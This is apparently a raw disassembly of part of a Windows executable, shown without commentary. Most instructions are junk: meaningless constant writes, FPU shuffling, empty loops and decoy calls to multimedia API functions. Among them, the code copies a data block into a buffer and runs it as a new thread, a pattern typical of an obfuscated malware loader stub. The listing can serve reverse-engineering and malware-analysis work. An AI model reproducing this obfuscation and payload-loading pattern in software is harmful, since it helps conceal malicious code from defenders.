jl 0x403ff0
fld dword [0x41057c]
inc edx
fstp dword [0x41389c]
mov byte [0x415118], 0x46
fld dword [0x410578]
mov dword [0x4166f0], 0x8f9c87cd
fstp dword [0x413be8]
mov dword [0x4166f4], ebx
mov dword [0x4176c4], 0xd307c679
mov byte [0x415119], 0xec
mov dword [0x413ba4], 0xf520ab7e
mov dword [0x413d7c], 0x79c8461e
mov dword [0x415178], 0x9ccb8b72
mov byte [str.Gq_o_], 0xe7
mov dword [0x414868], 0xb98bdd0a
mov dword [0x41486c], ebx
mov dword [0x417748], 0x413f339c
mov dword [0x41774c], esi
mov dword [0x4166cc], edx
cmp edx, 0x258
jl 0x403fe6
fstp st(4)
mov dword [0x416268], 0x9e5dec21
fstp st(2)
mov byte [str.Gq_o_], 0x57
fstp st(0)
mov dword [0x417128], 0x7fd71d60
fstp st(3)
mov byte [0x416153], 0xe6
fstp st(1)
mov dword [0x4172a8], 0x19a65d43
fstp st(1)
mov dword [0x4159d0], 0xa34af692
fstp st(0)
mov byte [0x4161c9], 0xb2
fld dword [0x410574]
fstp dword [0x414b54]
fld dword [0x410570]
fstp dword [0x41389c]
fld dword [0x41056c]
fstp dword [0x4162a4]
fld dword [0x410568]
fstp dword [0x414fb8]
fld dword [0x410564]
mov dword [0x4172fc], 0xa209127a
fstp dword [0x4151bc]
mov dword [0x416210], 0xa61e5a5e
fld dword [0x410560]
mov byte [0x41389a], 0xe9
fstp dword [0x413960]
mov dword [0x415b90], 0x7c9b10d8
mov dword [0x4162e0], 0x824a1865
mov dword [0x4162e4], ebx
mov dword [0x416560], 0xfdef529c
mov dword [0x416564], ebx
mov byte [0x415118], 0x17
mov dword [0x4171d8], 0xcb04a2b4
cmp dword [0x4170e8], 0xa0c51edb
jne 0x4049ad
mov edi, dword [sym.imp.WINMM.dll_joyGetThreshold]
mov dword [0x414fd8], 0xd6
mov dword [0x414fdc], esi
mov dword [0x415b98], 0x3b
mov dword [0x415b9c], esi
lea ebx, [ebx]
mov dword [0x416210], 0xb
xor esi, esi
lea esp, [esp]
cmp dword [0x4171b8], 0x885de906
fld dword [0x41055c]
fld dword [0x410558]
fld dword [0x410554]
jne 0x40469f
cmp dword [0x416388], 0x4607e542
jne 0x404650
cmp dword [0x41638c], esi
jne 0x404650
mov ecx, dword [0x414dd4]
mov edx, dword [0x414dd0]
mov eax, 6
jmp 0x404547
fxch st(1)
fxch st(2)
fxch st(1)
cmp edx, 0xc74779e1
jne 0x404557
cmp ecx, ebx
je 0x4048c0
fxch st(2)
inc eax
fst dword [0x414f20]
mov byte [0x415119], 0xe7
fxch st(1)
mov byte [0x415118], 0x28
fst dword [0x413b84]
mov dword [0x413430], 0x44cf1c28
fxch st(2)
mov dword [0x413434], esi
fst dword [0x414f24]
mov dword [0x417728], 0x6dbbbde6
mov dword [0x41772c], esi
mov dword [0x4142e0], 0x7c3178f4
mov dword [0x4142e4], esi
mov dword [0x4166c8], eax
cmp eax, 0x32f
jl 0x404541
fstp st(1)
push 0x4149b0
fstp st(1)
push 0x417150
fstp st(0)
push 0x414f28
fld dword [0x410550]
push 0x416178
fstp dword [0x41389c]
mov byte [0x41389a], 0xd2
fld dword [0x41054c]
mov dword [0x4165b8], 0x420fab5d
fstp dword [0x413cd8]
mov dword [0x4165bc], esi
call dword [sym.imp.WINMM.dll_midiOutReset]
mov dword [0x415b04], 0x612a0d4a
mov byte [0x413ddb], 0xf7
mov dword [0x416e50], 0x9f088b1e
mov dword [0x416e54], ebx
mov dword [0x413ddc], 0x1b9a9b37
mov dword [0x417280], 0xaca5766c
mov dword [0x417700], 0xb4189a5f
mov dword [0x417704], ebx
jmp 0x404656
fstp st(2)
fstp st(0)
fstp st(0)
fld dword [0x410548]
push 0x415910
fstp dword [0x4162a0]
mov dword [0x416210], 0xd7fb20f
mov dword [0x413158], 0x35d3f83a
mov dword [0x41315c], esi
call dword [sym.imp.WINMM.dll_midiOutGetErrorTextW]
fld dword [0x410544]
fstp dword [0x414fd4]
mov dword [0x415b90], 0x80f7191f
jmp 0x4046a5
fstp st(2)
fstp st(0)
fstp st(0)
fld dword [0x415b94]
push 0x4176c8
push ecx
fstp dword [esp]
mov dword [0x415b98], 0xbd33281b
mov dword [0x415b9c], ebx
mov dword [0x4166cc], 0x111959af
mov dword [0x416130], 0x3df542c9
mov dword [0x416134], esi
mov dword [0x414fe0], 0x9ac37264
mov dword [0x414fe4], ebx
mov byte [0x416161], 0xbf
call edi
fld dword [0x410540]
mov eax, dword [0x416210]
fstp dword [0x41728c]
fld dword [0x41053c]
inc eax
fstp dword [0x415b94]
mov dword [0x416130], 0x763e3d45
mov dword [0x416134], esi
mov dword [0x416998], 0x1751b31b
mov dword [0x41699c], esi
mov dword [0x4151c0], 0x4f6921ec
mov dword [0x4151c4], esi
mov dword [0x415b90], 0x5178a671
mov dword [0x414fd8], 0x74835d42
mov dword [0x414fdc], esi
mov dword [0x416210], eax
cmp eax, 0x20d
jl 0x4044f0
mov edx, dword [0x41774c]
fld dword [0x410538]
mov eax, dword [0x417748]
fstp dword [0x41389c]
push 0x414df0
push 0x414c90
push 0x52
push esi
push 0x763e3d45
push edx
push eax
mov byte [0x41389a], 0x8e
mov byte [0x41389b], 0x52
mov dword [0x4151c0], 0xc952bea
mov dword [0x4151c4], esi
call dword [sym.imp.WINMM.dll_midiInAddBuffer]
fld dword [0x410534]
add dword [0x415b98], 1
fstp dword [0x414f24]
fld dword [0x410530]
mov dword [0x4171d4], 0x61cf8ea
fstp dword [0x4149c4]
adc dword [0x415b9c], esi
fld dword [0x41052c]
fstp dword [0x414fd4]
js 0x4044e0
jg 0x404811
cmp dword [0x415b98], 0x120
jb 0x4044e0
mov ecx, dword [0x416134]
fld dword [0x414fd0]
mov edx, dword [0x416130]
push ecx
push edx
push 0x416218
push ecx
fstp dword [esp]
mov dword [0x416210], 0x7693c141
mov dword [0x415840], 0xa9a133eb
mov dword [0x415844], ebx
call dword [sym.imp.WINMM.dll_mmioStringToFOURCCW]
fld dword [0x410528]
add dword [0x414fd8], 1
fstp dword [0x414f24]
mov eax, dword [0x414fdc]
fld dword [0x410524]
fstp dword [0x413ab8]
mov dword [0x415b90], 0xc73bc81b
adc eax, esi
mov dword [0x417254], 0x1a3ea01f
mov byte [0x413802], 0xfd
mov dword [0x4166cc], 0x7649aab8
mov dword [0x414fdc], eax
cmp eax, esi
jg 0x4048fa
jl 0x4048b8
cmp dword [0x414fd8], 0x248
jae 0x4048fa
xor esi, esi
jmp 0x4044ca
fstp st(2)
fstp st(0)
fstp st(0)
mov edx, 0xec
xor edi, edi
lea ecx, [ecx]
mov eax, 0xde
xor ecx, ecx
add eax, 1
adc ecx, esi
js 0x4048d7
jg 0x4048e7
cmp eax, 0x389
jb 0x4048d7
add edx, 1
adc edi, esi
js 0x4048d0
jg 0x4048c6
cmp edx, 0x350
jb 0x4048d0
jmp 0x4048c6
fld dword [0x410520]
push 0x414c90
fstp dword [0x414fd0]
push 0x414c90
fld dword [0x41051c]
push 0x4149b0
fst dword [0x415b94]
push ecx
fld dword [0x410518]
mov byte [0x41384a], 0x59
fstp dword [0x41389c]
mov dword [0x416214], 0x7d31cd70
mov dword [0x4172c0], 0x83e72952
fstp dword [esp]
mov dword [0x417748], 0x8b82cf65
mov dword [0x41774c], ebx
mov dword [0x413fe0], 0x8a7643e6
mov dword [0x413fe4], ebx
call dword [sym.imp.WINMM.dll_midiInUnprepareHeader]
fld dword [0x410514]
fstp dword [0x41616c]
mov byte [0x41389a], 0xf3
fld dword [0x410510]
mov byte [0x41615b], 0xb0
fstp dword [0x414fd4]
mov byte [0x415118], 0x52
mov byte [0x415119], 0x24
mov byte [str.mM_], 0x7c
mov edi, dword [ebp - 4]
mov ecx, 0x1f2
mov esi, 0x417750
rep movsd dword es:[edi], dword [esi]
movsw word es:[edi], word [esi]
cmp dword [0x415124], 0x923794e9
jne 0x404fe4
mov dword [0x414fe0], 0x32
mov dword [0x414fe4], 0
mov dword [0x415b90], 0x18
xor esi, esi
mov edi, edi
cmp dword [0x4176c4], 0xd033f3c0
jne 0x404e3f
cmp dword [0x4170e4], 0x4470b339
jne 0x404da8
mov dword [0x4166cc], 5
lea ebx, [ebx]
mov edi, dword [sym.imp.WINMM.dll_waveOutPrepareHeader]
mov eax, 0x1c
mov dword [0x413ddc], eax
xor esi, esi
cmp eax, 0xa6042ca8
jne 0x404b88
cmp dword [0x414918], 0xf4517d0b
jne 0x404b1a
cmp dword [0x41491c], ebx
jne 0x404b1a
cmp dword [0x416f40], 0xbbb5a2f6
jne 0x404acf
cmp dword [0x416f44], ebx
jne 0x404acf
fld dword [0x41050c]
mov dword [0x415b90], 0x38c
fstp dword [0x415b94]
mov dword [0x4172fc], 0xddf8c54e
mov dword [0x414fd8], 0xed0d391c
mov dword [0x414fdc], ebx
mov dword [0x416210], 0x42f4654
mov dword [0x415568], 0xf4aed910
mov dword [0x41556c], ebx
mov dword [0x416ea0], 0xacfc899d
mov dword [0x416ea4], ebx
fld dword [0x410508]
mov byte [0x41389a], 0x99
fstp dword [0x4162a0]
mov dword [0x4166c8], 0x956a6f56
mov byte [0x413863], 0x3f
mov byte [0x413ddb], 0xe
mov dword [0x4140c0], 0x90b060c9
mov dword [0x4140c4], ebx
mov dword [0x4155d0], 0x9901802f
mov dword [0x4155d4], ebx
fld dword [0x410504]
mov dword [0x415058], 0xa5bc980c
fstp dword [0x414f24]
mov dword [0x417450], 0x3f8a5038
fld dword [0x410500]
mov dword [0x416214], 0xfbdc07aa
fstp dword [0x4162a4]
mov dword [0x417228], 0x798ad809
mov byte [0x413dc3], 0x4b
mov dword [0x4142e0], 0xfb2f6dbb
mov dword [0x4142e4], ebx
mov dword [0x4151c0], 0x3bf6e00b
mov dword [0x4151c4], esi
mov byte [0x41389b], 0xbb
fld dword [0x4104fc]
mov eax, dword [0x416214]
push 0x416218
fstp dword [0x4151bc]
fld dword [0x41389c]
push ecx
fstp dword [esp]
push eax
mov dword [0x417748], 0x24a2c17c
mov dword [0x41774c], esi
mov byte [0x415118], 0x21
mov dword [0x413fa0], 0x6738e487
mov dword [0x413fa4], esi
mov byte [0x415119], 0x21
mov byte [0x41620e], 0xc7
call edi
fld dword [0x4104f8]
mov eax, dword [0x413ddc]
fstp dword [0x41392c]
inc eax
mov dword [0x416130], 0x24c03bf9
mov dword [0x416134], esi
mov dword [0x4140a0], 0xff137220
mov dword [0x4140a4], ebx
mov dword [0x415900], 0xdee8849b
mov dword [0x415904], ebx
mov byte [0x415119], 0xf1
mov dword [0x413ddc], eax
cmp eax, 0x351
jl 0x404a32
mov ecx, dword [0x413d7c]
mov edx, dword [0x414fe4]
mov eax, dword [0x414fe0]
push 0x4149b0
push ecx
push edx
push eax
push esi
push 0x24c03bf9
mov dword [0x415b90], 0x23cc0422
mov dword [str.hUv_], 0x436ca3a9
mov dword [0x415184], 0x8f2c8f6a
mov dword [0x4172fc], 0x1ab51f99
mov dword [0x416234], 0x842ea5b8
call dword [sym.imp.WINMM.dll_waveInGetID]
fld dword [0x4104f4]
mov eax, dword [0x4166cc]
fstp dword [0x41389c]
inc eax
mov dword [0x416f88], 0xc28a0399
mov dword [0x416f8c], ebx
mov dword [0x4167c8], 0x52770662
mov dword [0x4167cc], esi
mov dword [0x416170], 0xa76bcf74
mov dword [0x416174], ebx
mov dword [0x4159ec], 0xef13e5d9
mov dword [0x4166cc], eax
cmp eax, 0x4cc
jl 0x404a20
movzx ecx, byte [0x41389b]
movzx edx, byte [0x413ddb]
push ecx
push 0x415910
push edx
mov byte [0x41614a], 0xa0
mov dword [0x416210], 0x724198e3
mov dword [0x416214], 0x65934967
mov dword [0x415b90], 0xcd8e3ebe
mov dword [0x41509c], 0x4faf3e36
mov dword [0x4166cc], 0xede734cd
mov dword [0x415f08], 0xb91118b2
mov dword [0x415f0c], ebx
mov dword [0x414fd8], 0xef138bab
mov dword [0x414fdc], ebx
call dword [sym.imp.WINMM.dll_midiDisconnect]
mov dword [0x4175a0], 0x704f07b5
mov byte [0x41383d], 0x61
mov dword [0x416040], 0xad6126d8
mov dword [0x416044], ebx
mov dword [0x4175dc], 0xa54cd8bb
mov dword [0x4166c8], 0xad99fe2e
mov byte [0x416164], 0x9c
mov dword [0x41752c], 0x5b9c7881
xor esi, esi
mov dword [0x415b90], 0x438df1df
mov dword [0x416210], 0x1c88a119
mov dword [0x4151c0], 0x750b4006
mov dword [0x4151c4], esi
mov dword [0x4165e8], 0x7eb955ca
mov dword [0x4165ec], esi
mov dword [0x4137b0], 0xe9d0f37d
mov dword [0x4137b4], ebx
mov byte [0x415119], 0x86
mov byte [0x41389b], 0xdf
mov dword [0x415134], 0x3d009633
mov dword [0x416214], 0xe5dc7d2b
mov dword [0x417468], 0x858478b4
mov dword [0x4137e8], 0xd9314097
mov dword [0x4137ec], ebx
mov byte [0x413884], 0xe6
mov dword [0x417748], 0xc6f50839
mov dword [0x41774c], ebx
fld dword [0x4104f0]
mov dword [0x415aa4], 0x19fe5d4d
fstp dword [0x414fd0]
mov dword [0x4172a4], 0x8c08b98a
mov dword [0x4142e0], 0x6ee9efe2
mov dword [0x4142e4], esi
mov dword [0x4166f0], 0x9d032101
mov dword [0x4166f4], ebx
call dword [sym.imp.WINMM.dll_midiInGetID]
fld dword [0x4104ec]
mov eax, dword [0x415b90]
fstp dword [0x4151bc]
fld dword [0x4104e8]
inc eax
fstp dword [0x414f20]
mov byte [0x41613a], 0x41
mov dword [0x415b90], eax
cmp eax, 0x432
jl 0x4049f0
push 0x414fe8
mov dword [0x413ba4], 0x4932c7a1
mov dword [0x417720], 0xbb4efb18
mov dword [0x417724], ebx
mov byte [0x4161c7], 0x74
mov dword [0x416214], 0x763788ef
mov dword [0x416210], 0x365b9f6c
call dword [sym.imp.WINMM.dll_sndPlaySoundW]
fld dword [0x4104e4]
add dword [0x414fe0], 1
fstp dword [0x4162a4]
mov dword [0x415b40], 0x46f8a667
mov dword [0x4166c0], 0xf76c839f
adc dword [0x414fe4], esi
mov dword [0x4166c4], ebx
mov dword [0x41624c], 0xe160d689
mov dword [0x41519c], 0x1de0fb8f
js 0x4049e2
jg 0x404f59
cmp dword [0x414fe0], 0x43c
jb 0x4049e2
mov eax, dword [0x416174]
fld dword [0x4104e0]
mov ecx, dword [0x416170]
fstp dword [0x414f24]
fld dword [0x4104dc]
push 0x414c90
push 0x416138
fstp dword [0x41728c]
fld dword [0x4162a0]
push eax
push ecx
push ecx
fstp dword [esp]
mov dword [0x416990], 0x9a285d58
mov dword [0x416994], ebx
mov dword [0x414fd8], 0x15a5c665
mov dword [0x414fdc], esi
mov dword [0x416130], 0x5c7eb1fa
mov dword [0x416134], esi
call dword [sym.imp.WINMM.dll_midiOutClose]
fld dword [0x4104d8]
fstp dword [0x414fcc]
mov dword [0x415b98], 0xb48ff181
mov dword [0x415b9c], ebx
mov eax, dword [ebp - 4]
push ebx
lea edx, [ebp - 0xc]
push edx
xor esi, esi
push esi
push 0x417f20
push eax
push esi
push esi
call dword [sym.imp.KERNEL32.dll_CreateThread]
push eax
call dword [sym.imp.KERNEL32.dll_WaitForSingleObject]
cmp dword [0x415b90], 0x91e40d82
jne 0x405555
cmp dword [0x416370], 0xffa198ae
jne 0x4054e0
cmp dword [0x416374], ebx
jne 0x4054e0
cmp dword [0x4166cc], 0xda8f8e6a
jne 0x40545f
cmp dword [0x414fd8], 0x7877cd5c
jne 0x4053fd
cmp dword [0x414fdc], esi
jne 0x4053fd
cmp dword [0x4176e0], 0x786c9fc0
jne 0x4053b2
cmp dword [0x4176e4], esi
jne 0x4053b2
cmp dword [0x4151b8], 0xce4969c8
jne 0x40532f
cmp dword [0x4145a8], 0x14544345
jne 0x4052b3
cmp dword [0x4145ac], esi
jne 0x4052b3
mov edi, dword [sym.imp.WINMM.dll_mciSendStringA]
mov dword [0x413ddc], 0x8d
jmp 0x4050c0
cmp dword [0x4172fc], 0xd3affa3d
jne 0x4051cb
cmp dword [0x416130], 0xcf9da375
jne 0x405140
cmp dword [0x416134], ebx
jne 0x405140
fld dword [0x4104d4]
mov dword [0x415b98], 0xa3896411
fstp dword [0x4151bc]
mov dword [0x415b9c], ebx
fld dword [0x4104d0]
mov dword [0x414858], 0x24b7d9dd
fstp dword [0x414f20]
mov dword [0x41485c], esi
fld dword [0x4104cc]
mov dword [0x417738], 0x98ab09fe
fstp dword [0x4162a0]
mov dword [0x41773c], ebx
movzx ecx, byte [0x415119]
fld dword [0x4104c8]
push 0x4137f8
fstp dword [0x4162a4]
push ecx
push 0x417300
mov dword [0x417748], 0x502cab7c
mov dword [0x41774c], esi
mov dword [0x416170], 0x6b06f88a
mov dword [0x416174], esi
call edi
mov byte [0x413ddb], 4
fld dword [0x4104c4]
mov dword [0x417510], 0xa1b8c672
fstp dword [0x41389c]
mov dword [0x4166c8], 0x1cdac54a
mov dword [0x416210], 0x32f65e82
mov dword [0x417748], 0x9c89ac9e
mov dword [0x41774c], ebx
mov dword [0x414ff8], 0x46758de4
mov edx, dword [0x414fdc]
mov eax, dword [0x414fd8]
push 0x416178
push edx
push eax
mov dword [0x413d7c], 0x2ad5d9f1
mov dword [0x415d30], 0xe87a7ff7
mov dword [0x415d34], ebx
call dword [sym.imp.WINMM.dll_timeEndPeriod]
fld dword [0x4104c0]
mov eax, dword [0x413ddc]
fstp dword [0x4162a4]
fld dword [0x4104bc]
inc eax
fstp dword [0x414fd0]
mov dword [0x413ba4], 0x3a740c6e
mov dword [0x413ddc], eax
cmp eax, 0x3d4
jl 0x4050c0
fld dword [0x4104b8]
push 0x415c48
fstp dword [0x41728c]
mov dword [0x416760], 0x32ba0b26
mov dword [0x416764], esi
mov byte [0x4161e9], 0xef
mov byte [0x41384f], 0xf9
call dword [sym.imp.WINMM.dll_joyGetPos]
fld dword [0x4104b4]
mov dword [0x413eac], esi
fstp dword [0x415b94]
mov dword [0x4166cc], 0xb40e6cdd
mov byte [0x41389b], 0x60
mov dword [0x417174], 0xc4e7dbd8
mov dword [0x413ea8], 0x262d8b97
mov dword [0x4137d0], 0xacda2964
mov dword [0x4137d4], ebx
xor esi, esi
push 0x4137f8
mov dword [0x4166d0], 0xddbc4f43
mov dword [0x4166d4], ebx
mov dword [0x415128], 0x74d5fa1d
mov dword [0x413ddc], 0x6d806a28
mov dword [0x414298], 0xc21b604c
mov dword [0x41429c], ebx
call dword [sym.imp.WINMM.dll_midiStreamPause]
fld dword [0x4104b0]
fstp dword [0x414f3c]
mov dword [0x415cb0], 0xab009db
mov dword [0x415cb4], esi
mov dword [0x414da0], 0xee355f13
mov dword [0x414da4], ebx
mov byte [0x416139], 0x48
mov dword [0x4174bc], 0x40c5d92f
fld dword [0x4104ac]
mov byte [0x415118], 0xd4
fstp dword [0x413a48]
mov dword [0x4168e8], 0xe85ad9aa
fld dword [0x4104a8]
mov dword [0x4168ec], ebx
fstp dword [0x414e24]
fld dword [0x4104a4]
fstp dword [0x413970]
fld dword [0x4104a0]
fstp dword [0x414f20]
call dword [sym.imp.WINMM.dll_joyReleaseCapture]
fld dword [0x41049c]
mov dword [0x4150e4], 0x6b8f2c94
fstp dword [0x4139f4]
mov dword [0x4166cc], 0x7af8aa1a
fld dword [0x410498]
mov dword [0x4170d4], 0xf856fa08
fstp dword [0x41616c]
fld dword [0x410494]
push ecx
movzx ecx, byte [0x41389a]
fst dword [0x415b94]
fstp dword [esp]
push ecx
mov dword [0x413570], 0x6521eacd
mov dword [0x413574], esi
mov byte [0x415119], 0xab
call dword [sym.imp.WINMM.dll_midiOutOpen]
mov dword [0x417354], 0x84455e5c
fld dword [0x410490]
fstp dword [0x413cdc]
fld dword [0x41048c]
mov dword [0x414fe0], 0x95cff29b
fstp dword [0x414f24]
mov dword [0x414fe4], ebx
mov dword [0x4166cc], 0x69528e5b
call dword [sym.imp.WINMM.dll_waveInGetErrorTextA]
fld dword [0x410488]
fstp dword [0x4138ec]
mov dword [0x413ba4], 0xcb028c34
mov dword [0x417748], 0x5595efc8
mov dword [0x41774c], esi
mov dword [0x414878], 0xe28071b8
mov dword [0x41487c], ebx
fld dword [0x410484]
push 0x4166d0
fstp dword [0x41728c]
push 0x4149b0
fld dword [0x410480]
push 0x414c90
fstp dword [0x4162a0]
mov byte [0x41389a], 0xad
mov dword [0x417124], 0xbae55895
call dword [sym.imp.WINMM.dll_midiStreamOpen]
fld dword [0x41047c]
mov ecx, 0xe090ff46
fstp dword [0x4151bc]
mov dword [0x416fd8], 0x73bfd81e
mov dword [0x416fdc], esi
mov dword [0x4172fc], ecx
mov dword [0x416cc0], 0x961060ab
mov dword [0x416cc4], ebx
mov dword [0x417228], 0x79089ce6
jmp 0x4054e6
mov ecx, dword [0x4172fc]
fld dword [0x410478]
mov dword [0x417008], 0xed2b0ef4
fstp dword [0x414b48]
mov dword [0x413ddc], 0xa1b5c6c5
fld dword [0x410474]
mov dword [0x413ba4], 0xae65d74e
fstp dword [0x413c34]
mov byte [0x416154], 0x55
fld dword [0x410470]
mov dword [0x415b98], 0x5712d52
fstp dword [0x415bb0]
mov dword [0x415b9c], esi
mov dword [0x4166c8], 0x6a557bc6
mov dword [0x417294], 0x75527b4
jmp 0x40555b
mov ecx, dword [0x4172fc]
cmp dword [0x414fe0], 0x110a3607
jne 0x405b41
cmp dword [0x414fe4], esi
jne 0x405b41
cmp dword [0x416210], 0x97f292ea
jne 0x405b04
cmp dword [0x4141b0], 0xeb45f1f4
jne 0x405ac4
cmp dword [0x4141b4], ebx
jne 0x405ac4
cmp dword [0x4151c0], 0xed508208
jne 0x405a60
cmp dword [0x4151c4], ebx
jne 0x405a60
cmp dword [0x416214], 0xdb9335d6
jne 0x405a04
cmp dword [0x4176b4], 0xcf94d913
jne 0x40593b
mov edi, dword [sym.imp.WINMM.dll_mmioRead]
mov dword [0x417748], 0x61
mov dword [0x41774c], esi
jmp 0x405600
cmp dword [0x4147b0], 0xaa27c567
jne 0x405814
cmp dword [0x4147b4], ebx
jne 0x405814
mov dword [0x416210], 0x5a
xor esi, esi
jmp 0x405630
cmp dword [0x413160], 0xf4cba4c
jne 0x4056fc
cmp dword [0x413164], esi
jne 0x4056fc
mov eax, 0x17
xor ecx, ecx
add eax, 1
adc ecx, esi
js 0x405653
jg 0x405663
cmp eax, 0x3cf
jb 0x405653
fld dword [0x41046c]
push 0x413d80
fstp dword [0x41389c]
mov dword [0x415b98], eax
mov dword [0x415b9c], ecx
mov dword [0x416810], 0xc2037ff2
mov dword [0x416814], ebx
mov dword [0x414240], 0xcf0291f2
mov dword [0x414244], ebx
mov byte [0x413ddb], 0x1c
mov dword [0x4176c4], 0xa862234f
call dword [sym.imp.WINMM.dll_midiOutPrepareHeader]
fld dword [0x410468]
fstp dword [0x414e14]
mov dword [0x41726c], 0xee62e067
mov dword [0x4151c0], 0x549b2a8
mov dword [0x4151c4], esi
mov dword [0x4164f8], 0x8ce660e4
mov dword [0x4164fc], ebx
mov dword [0x4168b0], 0x5374c9a9
mov dword [0x4168b4], esi
mov edx, dword [0x4176c4]
fld dword [0x410464]
push edx
fstp dword [0x4162a0]
fld dword [0x410460]
push 0x416178
push 0x415910
fstp dword [0x414fc4]
mov dword [0x416214], 0x791a57b3
call edi
fld dword [0x41045c]
mov eax, dword [0x416210]
fstp dword [0x414fd4]
inc eax
mov dword [0x416214], 0x89594309
mov dword [0x416264], 0x2f0afd85
mov dword [0x414fe0], 0x80c8edd2
mov dword [0x414fe4], ebx
mov dword [0x415b90], 0x95a35227
mov dword [0x4170ac], 0xfd5c8e3
mov byte [0x413873], 0xa8
mov dword [0x416210], eax
cmp eax, 0x2cb
jl 0x405630
fld dword [0x410458]
mov dword [0x4153f4], esi
fstp dword [0x413974]
mov dword [0x4137ec], esi
fld dword [0x410454]
mov dword [0x4153f0], 0x253249ce
fstp dword [0x414fcc]
mov dword [str._wF_c_], 0x49e6f20a
fld dword [0x410450]
mov dword [0x4172fc], 0x56e14656
fstp dword [0x414f2c]
mov dword [0x4151a0], 0xd85b315e
mov byte [0x413dd5], 0x50
mov dword [0x4137e8], 0x20108c4d
mov byte [0x415119], 0x67
mov dword [0x4142e0], 0x957ae023
mov dword [0x4142e4], ebx
xor esi, esi
fld dword [0x41044c]
add dword [0x417748], 1
fstp dword [0x4162a0]
mov dword [0x416210], 0x366ea6cf
fld dword [0x410448]
mov byte [0x41613f], 0xa
adc dword [0x41774c], esi
fstp dword [0x41728c]
fld dword [0x410444]
mov dword [0x416170], 0x40bf3c6
fstp dword [0x415c34]
mov dword [0x416174], esi
fld dword [0x410440]
mov dword [0x413d7c], 0x7e3153d5
fstp dword [0x41389c]
mov byte [0x41614e], 0xfc
mov dword [0x416408], 0xeb038547
mov dword [0x41640c], ebx
mov dword [0x4171d4], 0x1f0eba8e
mov byte [0x413daa], 0x40
js 0x405600
jg 0x4058bc
cmp dword [0x417748], 0x2bf
jb 0x405600
fld dword [0x41043c]
mov dword [0x4142e0], 0x2db1abe4
fstp dword [0x414fc4]
mov dword [0x4142e4], esi
fld dword [0x410438]
mov dword [0x415610], 0x3c981c2
fstp dword [0x415c3c]
mov dword [0x415614], esi
fld dword [0x410434]
mov dword [0x416130], 0x5d1cda35
fstp dword [0x413b2c]
mov dword [0x416134], esi
mov dword [0x413d7c], 0x4be3c462
mov dword [0x416370], 0x7f0c616f
mov dword [0x416374], esi
mov byte [0x415119], 0xe7
mov dword [0x416214], 0x744db5b1
mov eax, dword [0x4176c4]
fld dword [0x410430]
mov ecx, dword [0x413ba4]
fstp dword [0x414f20]
fld dword [0x41042c]
push 0x413d80
push eax
fstp dword [0x41389c]
push ecx
push 0x414f28
mov byte [0x41389b], 0x11
mov dword [0x417748], 0xca2444a0
mov dword [0x41774c], ebx
mov byte [0x41389a], 0xd6
mov dword [0x413520], 0xe85d9690
mov dword [0x413524], ebx
mov dword [0x4172fc], 0x9556f988
mov dword [0x4137d8], 0x815537ee
mov dword [0x4137dc], ebx
call dword [sym.imp.WINMM.dll_sndPlaySoundW]
fld dword [0x410428]
mov ecx, 0x1e0a0aa3
fstp dword [0x4162a0]
mov dword [0x41597c], 0x5290a688
mov dword [0x413d7c], 0xfd1ca735
mov dword [0x4172fc], ecx
mov dword [0x413e10], 0x27eba1d1
mov dword [0x413e14], esi
mov byte [0x416169], 0xca
mov dword [0x416214], 0x97a1a533
mov dword [0x4155e0], 0x38d52a04
mov dword [0x4155e4], esi
mov dword [0x4172c4], 0x398e080
mov dword [0x416210], 0xddfd87b5
mov dword [0x413ba4], 0x5de3aa2e
mov dword [0x413e08], 0x8a96373
mov dword [0x413e0c], esi
mov byte [0x413dd7], 0x3a
mov byte [0x413828], 4
mov dword [0x414fd8], 0xf6eb816c
mov dword [0x414fdc], ebx
mov dword [0x414988], 0xd01e05f5
mov dword [0x41498c], ebx
mov dword [0x417054], 0xe55d3fec
mov dword [0x4172e8], 0x6c399560
mov dword [0x414158], 0xd8f6c5f0
mov dword [0x41415c], ebx
mov dword [0x4137d8], 0xc63a4c12
mov dword [0x4137dc], ebx
mov dword [0x4151c0], 0xa0d192fb
mov dword [0x4151c4], ebx
mov dword [0x416130], 0x764f7c3f
mov dword [0x416134], esi
fld dword [0x410424]
mov dword [0x4142e0], 0xe60b2d9f
fstp dword [0x4162a4]
mov dword [0x4142e4], ebx
mov dword [0x416628], 0x445ab79b
mov dword [0x41662c], esi
mov dword [0x4151b4], 0x7f414e47
mov dword [0x4174c4], 0x6716ec46
fld dword [0x410420]
mov dword [0x414278], 0xc7255136
fstp dword [0x414f20]
mov dword [0x41427c], ebx
mov byte [0x41613d], 0x51
mov dword [0x417554], 0x6df4aa9d
mov dword [0x4136b0], 0x4bb0ceb5
mov dword [0x4136b4], esi
cmp dword [0x417748], 0x7ac34077
jne 0x405fac
cmp dword [0x41774c], esi
jne 0x405fac
mov dword [0x415b98], 0x60
mov dword [0x415b9c], esi
mov edi, 0x76142d4f
mov dword [0x4151c4], esi
mov dword [0x4151c0], 0xde
xor esi, esi
jmp 0x405b96
mov ecx, dword [0x4172fc]
fld dword [0x41041c]
mov dword [0x416214], 0xf49b115d
fld dword [0x410418]
mov dword [0x416210], 0x68ca51b3
fld dword [0x410414]
mov dword [0x415b90], 0x3a34a8b3
fld dword [0x410410]
mov dword [0x416130], 0x208924ba
fld dword [0x41040c]
mov dword [0x416134], esi
fld dword [0x410408]
mov byte [0x413ddb], 7
fld dword [0x410404]
mov dword [ebp - 8], 0x22e
fld dword [0x410400]
mov dword [0x413ba4], 0x297
fstp dword [0x414fd4]
fld dword [0x4103fc]
fstp dword [0x41616c]
mov eax, 0xa4
mov dword [ebp - 4], 0x108
cmp dword [0x414d20], 0x7061a8ec
jne 0x405db2
cmp dword [0x414d24], esi
jne 0x405db2
cmp ecx, 0xae205780
jne 0x405d5f
cmp dword [0x417738], 0x58772fbf
jne 0x405d14
cmp dword [0x41773c], esi
jne 0x405d14
fxch st(6)
mov eax, 0x25
fst dword [0x4162a0]
xor ecx, ecx
fxch st(5)
mov dword [0x4166cc], 0xfea009b0
fst dword [0x4151bc]
mov byte [0x415118], 9
mov edx, 0x9df926a5
jmp 0x405c9f
fxch st(4)
add eax, 1
fxch st(4)
adc ecx, esi
fst dword [0x413ac0]
mov dword [0x413f08], edx
mov dword [0x413f0c], ebx
mov dword [0x416238], 0x53f6d3f7
mov dword [0x4157b0], edi
mov dword [0x4157b4], esi
js 0x405c9d
jg 0x405cd9
cmp eax, 0x21e
jb 0x405c9d
fxch st(5)
mov dword [0x417058], 0x3500e926
fxch st(6)
mov dword [0x4137d8], 0x2c1365ef
fxch st(4)
mov dword [0x4137dc], esi
fxch st(5)
mov byte [0x4161c9], 0x9d
mov dword [0x4176e8], 0x523793f
fxch st(4)
